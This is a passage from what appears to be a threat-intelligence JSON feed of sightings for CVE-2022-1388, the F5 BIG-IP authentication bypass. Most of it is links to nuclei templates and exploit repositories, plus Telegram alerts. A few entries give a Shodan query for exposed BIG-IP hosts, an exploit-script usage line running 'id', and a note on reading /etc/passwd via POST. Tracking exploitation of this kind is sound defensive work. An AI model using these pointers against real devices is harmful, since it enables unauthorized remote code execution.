https://github.com/1dayluo/My-Nuclei-Templates\n# https://github.com/Aituglo/nuclei-templates\n# https://github.com/ChiaraNRTT96/BountySkill\n# https://github.com/Linuxinet/nuclei-templates\n# https://github.com/Nithissh0708/Custom-Nuclei-Templates\n# https://github.com/abbycantcode/Nuclei-Template\n# https://github.com/foulenzer/foulenzer-templates\n# https://github.com/joanbono/nuclei-templates\n# https://github.com/pacho15/mynuclei_templates\n# https://github.com/themastersunil/Nuclei-TamplatesBackup.git\n# https://github.com/themastersunil/nucleiDB\n# https://github.com/trungkay2/Nuclei-template\n# https://github.com/shubham-rooter/Nuclei-Template-Collection\nhttps://github.com/0xElkot/My-Nuclei-Templates\nhttps://github.com/0xmaximus/final_freaking_nuclei_templates\nhttps://github.com/10kHacktech/nuclei_templates\nhttps://github.com/2jung/nuclei-templates\nhttps://github.com/Arvinthksrct/alltemplate\nhttps://github.com/BeRserKerSec/CVE-2021-26084-Nuclei-template\nhttps://github.com/ChristianWeiler/custom-nuclei-templates\nhttps://github.com/DoubleTakes/nuclei-templates\nhttps://github.com/Elsfa7-110/log4jNuclei\nhttps://github.com/ExpLangcn/NucleiTP\nhttps://github.com/Facucuervo87/openssl-3.0.4-template\nhttps://github.com/GlennPegden2/misc-nuclei-scripts\nhttps://github.com/Hack4rLIFE/CVE-2022-42889\nhttps://github.com/Jagomeiister/nuclei-templates\nhttps://github.com/KeepHowling/all_freaking_nuclei_templates\nhttps://github.com/Lopseg/nuclei-c-templates\nhttps://github.com/Lu3ky13/Authorization-Nuclei-Templates\nhttps://github.com/MikeeI/nuclei-templates\nhttps://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed\nhttps://github.com/MrCl0wnLab/Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter\nhttps://github.com/NightRang3r/misc_nuclei_templates\nhttps://github.com/Saboor-Hakimi/CVE-2023-23752\nhttps://github.com/SecTheBit/CVE-2022-1388\nhttps://github.com/T4t4ru/nuclei-templates\nhttps://github.com/aels/CVE-2022-37042\nhttps://github.com/akincibor/CVE-2022-27925\nhttps://github.com/al4xs/nuclei-templates\nhttps://github.com/am0nt31r0/custom-nuclei-templates", "creation_timestamp": "2025-04-22T02:52:21.000000Z"}, {"uuid": "915c698d-b60d-472f-bc41-bc944a5a5138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/AGENTZSECURITY/1250", "content": "https://github.com/abbycantcode/Nuclei-Template\nhttps://github.com/foulenzer/foulenzer-templates\nhttps://github.com/joanbono/nuclei-templates\nhttps://github.com/pacho15/mynuclei_templates\nhttps://github.com/themastersunil/Nuclei-TamplatesBackup.git\nhttps://github.com/themastersunil/nucleiDB\nhttps://github.com/trungkay2/Nuclei-template\nhttps://github.com/shubham-rooter/Nuclei-Template-Collection\nhttps://gist.github.com/0x240x23elu\nhttps://gist.github.com/ResistanceIsUseless/e46848f67706a8aa1205c9d2866bff31\nhttps://github.com/0x71rex/0-Nuclei-Templates\nhttps://github.com/0x727/ObserverWard_0x727\nhttps://github.com/0xAwali/Virtual-Host\nhttps://github.com/0xElkot/My-Nuclei-Templates\nhttps://github.com/0xKayala/Custom-Nuclei-Templates\nhttps://github.com/0xPugazh/my-nuclei-templates\nhttps://github.com/0xmaximus/final_freaking_nuclei_templates\nhttps://github.com/10kHacktech/nuclei_templates\nhttps://github.com/1in9e/my-nuclei-templates\nhttps://github.com/2jung/nuclei-templates\nhttps://github.com/5cr1pt/templates\nhttps://github.com/ARPSyndicate/kenzer-templates\nhttps://github.com/Akokonunes/Private-Nuclei-Templates\nhttps://github.com/Arvinthksrct/alltemplate\nhttps://github.com/AshiqurEmon/nuclei_templates.git\nhttps://github.com/BagheeraAltered/FuzzingTemplate\nhttps://github.com/BeRserKerSec/CVE-2021-26084-Nuclei-template\nhttps://github.com/CharanRayudu/Custom-Nuclei-Templates\nhttps://github.com/ChristianWeiler/custom-nuclei-templates\nhttps://github.com/Dalaho-bangin/my_nuclei_templates\nhttps://github.com/Dalaho-bangin/nuclei-templates2\nhttps://github.com/Deep2142004/Nuclei-Templates\nhttps://github.com/Deepparasiya/Nuclei-Templates\nhttps://github.com/DoubleTakes/nuclei-templates\nhttps://github.com/DrakenKun-cyber/Templates\nhttps://github.com/Elsfa7-110/log4jNuclei\nhttps://github.com/Elsfa7-110/mynuclei-templates\nhttps://github.com/Erenlancaster/CVE-2021-46704\nhttps://github.com/Esonhugh/public-nuclei-template\nhttps://github.com/ExpLangcn/NucleiTP\nhttps://github.com/Facucuervo87/openssl-3.0.4-template\nhttps://github.com/GlennPegden2/misc-nuclei-scripts\nhttps://github.com/Gotcha-1G/CVE-2022-42889\nhttps://github.com/Hack4rLIFE/CVE-2022-42889\nhttps://github.com/Harish4948/Nuclei-Templates\nhttps://github.com/HernanRodriguez1/ScanReflectedSSTI\nhttps://github.com/HideNsec/nuclei-bitrix-templates\nhttps://github.com/Hunt2behunter/nuclei-templates\nhttps://github.com/Jagomeiister/nuclei-templates\nhttps://github.com/JoshMorrison99/url-based-nuclei-templates\nhttps://github.com/Kaue-Navarro/Templates-kaue-nuclei\nhttps://github.com/KeepHowling/all_freaking_nuclei_templates\nhttps://github.com/Lopseg/nuclei-c-templates\nhttps://github.com/Lu3ky13/Authorization-Nuclei-Templates\nhttps://github.com/MR-pentestGuy/nuclei-templates\nhttps://github.com/MikeeI/nuclei-templates\nhttps://github.com/Mr-B0hl00l/nuclei-templates\nhttps://github.com/Mr-xn/CVE-2023-23333\nhttps://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed\nhttps://github.com/MrCl0wnLab/Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter\nhttps://github.com/NightRang3r/misc_nuclei_templates\nhttps://github.com/NitinYadav00/My-Nuclei-Templates\nhttps://github.com/Odayex/Random-Nuclei-Templates\nhttps://github.com/Pavan-Alapati/nuclei-templates\nhttps://github.com/PedroFerreira97/nuclei_templates\nhttps://github.com/R-s0n/Custom_Vuln_Scan_Templates\nhttps://github.com/Rabb1ter/nuclei-templates\nhttps://github.com/RajaUzairAbdullah/nuclei-templates\nhttps://github.com/Red-Darkin/Custom-Nuclei-Templates\nhttps://github.com/Saboor-Hakimi/CVE-2023-23752\nhttps://github.com/Saimonkabir/Nuclei-Templates\nhttps://github.com/Saptak9983/Nuclei-Template\nhttps://github.com/SecTheBit/CVE-2022-1388\nhttps://github.com/Shakilll/my_nuclei_templates\nhttps://github.com/ShangRui-hash/my-nuclei-templates", "creation_timestamp": "2025-04-22T02:52:21.000000Z"}, {"uuid": "70a8885a-f19c-4342-ad52-c3d0834273d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/arpsyndicate/608", "content": "#ExploitObserverAlert\n\nCVE-2022-1388\n\nDESCRIPTION: Exploit Observer has 212 entries related to CVE-2022-1388. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated\n\nFIRST-EPSS: 0.973550000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-27T23:06:54.000000Z"}, {"uuid": "a730bcc4-28b0-44e4-9847-cfb6dc9918a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/l4SX0qh_U06RJ4fTj6g-Xt-ri88LJ4geHlPZZORXMtv3qR25lA", "content": "", "creation_timestamp": "2025-04-25T03:05:23.000000Z"}, {"uuid": "8d5b66fa-dd0f-4d0a-b979-f2718c09a75a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/arpsyndicate/1404", "content": "#ExploitObserverAlert\n\nCVE-2022-1388\n\nDESCRIPTION: Exploit Observer has 212 entries related to CVE-2022-1388. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated\n\nFIRST-EPSS: 0.973550000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-05T05:52:38.000000Z"}, {"uuid": "96cba424-a7ab-4f8d-92cc-7717141d16a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/LockBitRaasRansomware/14396", "content": "", "creation_timestamp": "2024-04-02T20:37:30.000000Z"}, {"uuid": "9bc993b6-05a0-4e61-92ef-45e3df1b81ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/82", "content": "https://github.com/bytecaps/CVE-2022-1388-EXP", "creation_timestamp": "2022-05-09T12:32:05.000000Z"}, {"uuid": "663495b4-8f57-4db4-ab80-5abd4d44e8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/ARC15INFO/477", "content": "CVE-2022-1388_F5_BIG-IP\n\nhttps://github.com/bytecaps/CVE-2022-1388-EXP\n\nhttps://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP_RCE", "creation_timestamp": "2024-08-29T06:28:53.000000Z"}, {"uuid": "70e3cf95-4218-4ced-b0e1-cb1dfbd4065d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/Blue_Hat_Hackers_Community/20", "content": "#CVE\nCVE-2022-1388\nF5 BIG-IP Unauthenticated \n#RCE Vulnerability\n\n#POC\nUse POST request to execute \"cat /etc/passwd\" command\n\n\nShodan Query:\nhttp.title:\"BIG-IP®-+Redirect\" +\"Server\" \n \nLink:\nhttps://github.com/projectdiscovery/nuclei-templates/pull/4303/files\n\nInformation:\n\nhttps://github.com/NafisiAslH/KnowledgeSharing/blob/main/CyberSecurity/Web/CVEs/CVE-2022/CVE-2022-1388/README.md\n\n#Cyber #CyberSecurity #CyberAttack #InfoSec #Hacking #BugBounty", "creation_timestamp": "2022-05-09T17:04:49.000000Z"}, {"uuid": "28c06e91-8f14-4672-bb4d-dda56d1a8ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/AdyNAi0r3oFp3TC3Wq-MQ5z1bTXQSODGOLYdLTDL5o1NBQ", "content": "", "creation_timestamp": "2022-05-10T16:13:34.000000Z"}, {"uuid": "3fd6cbb6-7275-42be-991a-fabf74551cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/SdOo1Ob4oTCP8b2jAyMRAXhNY9Lx0czLNybVsdtPLwr-PQ", "content": "", "creation_timestamp": "2022-05-10T05:41:02.000000Z"}, {"uuid": "2249fbc7-42aa-4d7e-b3cc-ed00df8fa10d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/osintflow/242", "content": "\ud83d\ude0e F5 BIG-IP RCE (CVE-2022-1388). How it works.", "creation_timestamp": "2022-05-23T01:09:44.000000Z"}, {"uuid": "3cff0b1c-b4f1-4ee2-a409-c6cc16e0c1ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/proxy_bar/1190", "content": "\u0420\u0430\u043d\u043e\u0432\u0430\u0442\u043e, \u043d\u043e \u0442\u0430\u043a\u0438 \u0434\u0430\n\u0422\u041e\u041f 10 \u0438\u0437 2022\n\n1. Follina (CVE-2022-30190)\n2. Log4Shell (CVE-2021-44228)\n3. Spring4Shell (CVE-2022-22965)\n4. F5 BIG-IP (CVE-2022-1388)\n5. Google Chrome zero-day (CVE-2022-0609)\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n10. Zyxel RCE vulnerability (CVE-2022-30525)", "creation_timestamp": "2022-11-29T06:36:16.000000Z"}, {"uuid": "b95defae-67b3-424b-8938-4da4e3df10e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/829", "content": "CVE-2022-1388\nINFO\nusage:\n/home/dev# python3 CVE-2022-1388.py -t 192.168.0.221 -c id\n\n#exploit #rce", "creation_timestamp": "2022-05-10T12:58:22.000000Z"}, {"uuid": "0d6a8d0a-2899-42c5-bbb6-7791b54d508f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/breachdetector/358116", "content": "{\n  \"Source\": \"https://www.turkhackteam.org/\",\n  \"Content\": \"CVE-2022-1388: What is Authentication Bypass in F5 BIG-IP?\", \n  \"author\": \" ('BARBAROS)\",\n  \"Detection Date\": \"13 Oct 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2023-10-13T09:20:19.000000Z"}, {"uuid": "e0014687-2c8b-46b6-bf39-72ced63f4d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/breachdetector/358103", "content": "{\n  \"Source\": \"https://www.turkhackteam.org/\",\n  \"Content\": \"CVE-2022-1388: F5 BIG-IP'te Kimlik Do\u011frulama Atlatma (Bypass)\", \n  \"author\": \" ('BARBAROS)\",\n  \"Detection Date\": \"13 Oct 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2023-10-13T09:19:46.000000Z"}, {"uuid": "b0e10b9c-6ff4-4c1f-933c-e57b9aab7314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/breachdetector/90590", "content": "\u26a0 Detectada filtraci\u00f3n \u26a0\n{\n  \"site\": \"Sinister.ly\",\n  \"Threat Actor\": \"PYA\",\n  \"Content\": \"iSleep Exploit Kit Source Code CVE-2022-1388 $2500 only 4 copies available.\",\n  \"Detection Date\": \"30 May 2022 16:47\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 Data Leak monitoring system\ud83d\udd39", "creation_timestamp": "2022-05-30T16:59:03.000000Z"}, {"uuid": "b91983e6-013b-4cea-98b6-dece60d846ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/oAOFeKxMa58I8_xH59aqOqeu7F81dBARYhLFqtTNfjxNYQ", "content": "", "creation_timestamp": "2022-05-12T08:56:27.000000Z"}, {"uuid": "17659f55-2ad6-4cc9-ad80-c58f6f9c3d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/breachdetector/218164", "content": "{\n  \"Source\": \"https://www.turkhackteam.org/\",\n  \"Content\": \"F5 BIG-IP iControl REST RCE - CVE-2022-1388\", \n  \"author\": \" (Will Graham)\",\n  \"Detection Date\": \"15 Mar 2023\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2023-03-15T23:04:30.000000Z"}, {"uuid": "53a5e2ae-faa6-4473-8a82-fe63c59a59ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/8yasABRsBeQ7_fA7ekcVN5-Bf6YalSSK4RwFtvSF2nNKkrM", "content": "", "creation_timestamp": "2022-12-06T17:10:12.000000Z"}, {"uuid": "8c8079f9-9b17-4bbb-b527-5e66254788fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/ax2j-jpCa8bY74M9pRF2-ncOiQcq6T7gP1Uo314jCgIH94U", "content": "", "creation_timestamp": "2022-05-12T21:16:58.000000Z"}, {"uuid": "8b8d40c0-fb3a-49eb-8044-d40e31238cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/MrVGunz/142", "content": "CVE-2022-1388 : F5 BIG-IP RCE ( CHECK & EXP ) \nhttps://github.com/bytecaps/CVE-2022-1388-EXP", "creation_timestamp": "2022-05-10T15:11:05.000000Z"}, {"uuid": "9d395bf2-06b3-4669-9f8b-27a5472005d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityIL/12196", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d4\u05ea\u05d2\u05dc\u05ea\u05d4 \u05d1\u05de\u05d5\u05e6\u05e8 BIG-IP \u05e9\u05dc \u05d7\u05d1\u05e8\u05ea F5 \u05d4\u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05ea\u05d5\u05e7\u05e3 \u05dc\u05d0 \u05de\u05d6\u05d5\u05d4\u05d4 \u05dc\u05d4\u05e9\u05d9\u05d2 \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05e0\u05d9\u05d4\u05d5\u05dc \u05e2\u05dc \u05d4\u05de\u05db\u05e9\u05d9\u05e8.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 CVE-2022-1388 \u05e7\u05d9\u05d1\u05dc\u05d4 \u05d3\u05d9\u05e8\u05d5\u05d2 \u05e1\u05d9\u05db\u05d5\u05df - 9.8, \u05db\u05e9\u05d2\u05dd \u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05dc\u05d4\u05d2\u05e0\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8 \u05d1\u05d0\u05e8\u05d4\"\u05d1 \u05de\u05d5\u05e6\u05d9\u05d0\u05d4 \u05d4\u05ea\u05e8\u05e2\u05d4 \u05d1\u05e0\u05d5\u05e9\u05d0.\n\n\u05d7\u05d1\u05e8\u05ea F5 \u05e9\u05d7\u05e8\u05e8\u05d4 \u05d2\u05e8\u05e1\u05d4 \u05d4\u05e1\u05d5\u05d2\u05e8\u05ea \u05d0\u05ea \u05d4\u05e4\u05d9\u05e8\u05e6\u05d4 (\u05ea\u05de\u05d5\u05e0\u05d4 \u05de\u05e6\"\u05d1)\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \n\nhttps://t.me/CyberSecurityIL/1900\n\nhttps://www.bleepingcomputer.com/news/security/f5-warns-of-critical-big-ip-rce-bug-allowing-device-takeover/", "creation_timestamp": "2022-05-05T07:52:31.000000Z"}, {"uuid": "eae2ec87-d644-4f79-894e-dcac9c38d2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/crackcodes/1915", "content": "#Analytics\nTop 10 most exploited vulnerabilities in 2022\n\n1. CVE-2022-30190: MS Office \"Follina\"\n\n2. CVE-2021-44228: Apache Log4Shell\n\n3. CVE-2022-22965: Spring4Shell\n\n4. CVE-2022-1388: F5 BIG-IP\n\n5. CVE-2022-0609: Google Chrome zero-day\nhttps://blog.google/threat-analysis-group/countering-threats-north-korea\n6. CVE-2017-11882: Old but not forgotten - MS Office bug\n\n7. CVE-2022-41082, CVE-2022-41040: ProxyNotShell\n\n8. CVE-2022-27925, CVE-2022-41352: Zimbra Collaboration Suite bugs\n\n\n9. CVE-2022-26134: Atlassian Confluence RCE flaw  \n\n10. CVE-2022-30525: Zyxel RCE vulnerability", "creation_timestamp": "2022-12-21T16:27:48.000000Z"}, {"uuid": "ee6d36ce-2a99-4050-9593-36d3cf9cb4d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/550", "content": "https://www.hackbyte.org/f5-big-ip-rce-cve-2022-1388-vulnerability-analysis/", "creation_timestamp": "2022-05-11T02:39:31.000000Z"}, {"uuid": "a4a9a100-18d8-4ac3-978d-89ee274ff5a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/537", "content": "\u200bCVE-2022-1388\n\nBIG-IP iControl REST vulnerability CVE-2022-1388\n\nhttps://github.com/numanturle/CVE-2022-1388", "creation_timestamp": "2022-05-10T04:33:17.000000Z"}, {"uuid": "ccd9ae97-fc04-4742-adf3-7dfa8b23b6d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/true_secator/3223", "content": "\u0423 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043c\u0435\u043d\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435.\n\n\u041d\u043e\u0432\u044b\u0439\u00a0\u043e\u0442\u0447\u0435\u0442 \u0437\u0430 2022 \u0433\u043e\u0434 Palo Alto Unit 42 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 15 \u043c\u0438\u043d\u0443\u0442 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u043e\u0432\u044b\u0439 CVE \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c.\n\nPalo Alto Unit 42 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u041f\u041e \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0434\u043b\u044f RCE. \n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u043f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0440\u043e\u0441\u043b\u0430.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0445 \u0443\u0441\u0438\u043b\u0438\u0439 \u043d\u0438\u0437\u043a\u043e\u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u044e\u0442 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0447\u0430\u0441\u043e\u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u044b\u0442\u043d\u044b\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u043c \u0438\u0445 